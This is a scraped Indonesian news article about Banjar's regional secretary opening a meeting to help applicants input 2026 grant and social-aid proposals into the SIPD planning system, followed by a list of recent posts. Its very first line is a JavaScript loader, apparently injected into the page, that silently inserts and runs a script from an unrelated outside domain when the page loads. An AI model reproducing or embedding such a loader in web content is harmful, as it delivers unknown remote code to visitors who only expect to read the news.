(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Sekda Banjar Buka Rapat Pendampingan Penginputan SIPD RI Usulan Hibah atau Bansos tahun 2026


KANALKALIMANTAN.COM, MARTAPURA – seluruh proses perencanaan, penganggaran, penatausahaan hingga pertanggungjawaban keuangan daerah harus terintegrasi melalui platform digital menyusul telah ditetapkannya Permendagri nomor 70 tahun 2019 tentang Sistem Informasi Pemerintahan Daerah (SIPD).

Regulasi ini merupakan turunan dari amanat UU nomor 23 tahun 2014 pasal 381, yang mewajibkan setiap daerah menyediakan sistem informasi terpadu untuk mendukung tata kelola pemerintahan yang efektif.

Hal tersebut disampaikan Sekda Banjar HM Hilman saat membuka rapat pendampingan penginputan SIPD RI usulan hibah/bansos tahun 2026, di Aula Barakat, Martapura, Selasa (11/3/2025) pagi.

Baca juga: Dukungan Wabup HSU ke Komunitas Balogo di Amuntai


Lebih lanjut Hilman menerangkan sejalan dengan Peraturan Bupati Banjar nomor 49 tahun 2021, menegaskan bahwa proposal hibah dan bansos wajib disampaikan melalui aplikasi perencanaan daerah.

“Artinya penginputan data ke SIPD bukan hanya kewajiban administratif melainkan langkah strategis untuk memastikan alokasi hibah tepat sasaran, tepat waktu dan sesuai kebutuhan riil masyarakat,” terang dia.

Hilman berharap partisipasi aktif dari peserta dalam mematuhi prosedur SIPD akan menentukan keberhasilan program hibah.

Baca juga: Berbuka Puasa dengan Masyarakat ke Beruntung Baru, Ini Harapan Bupati Banjar


Dengan data yang akurat dan transparan, pemerintah dapat mengalokasikan anggaran secara proporsional sekaligus memenuhi prinsip good governance.

“Manfaatkan kesempatan pendampingan ini sebaik baiknya, penginputan proposal hibah paling lambat tanggal 31 Maret.

Dokumen wajib harus diunggah secara lengkap serta kalau ada yang belum terbiasa dengan aplikasi digital, tim teknis pendampingan siap mendampingi proses penginputan hingga dinyatakan lengkap dan memenuhi syarat,” pungkas dia. (kanalkalimantan.com/dkispbanjar/kk)

Reporter: kk
Editor: Dhani


Muhammad Andi

Recent Posts

Mantan Kajari HSU Ajukan Praperadilan, KPK Siap Ladeni Gugatan

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyatakan siap menghadapi gugatan praperadilan yang diajukan mantan… Read More

3 jam ago

Hari Gizi Nasional 2026 “Sehat Dimulai dari Piringku”

KANALKALIMANTAN.COM - Hari Gizi Nasional yang diperingati setiap tanggal 25 Januari merupakan momentum penting dalam… Read More

6 jam ago

Wali Kota Yamin akan Tindak Pemilik Ruko yang Tidak Merawat Drainase

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More

21 jam ago

Ketua DPRD Kalsel Sampaikan Tuntutan Mahasiswa ke Senayan

KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More

22 jam ago

275 ASN Pemko Banjarmasin Pensiun di 2025

KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More

22 jam ago

Pembebasan Lahan Bendungan Riam Kiwa Mendesak Atasi Banjir Tahunan

KANALKALIMANTAN.COM, BANJARMASIN - Balai Wilayah Sungai (BWS) Kalimantan III menyatakan kesiapan mempercepat pembangunan Bendungan Riam… Read More

1 hari ago

This website uses cookies.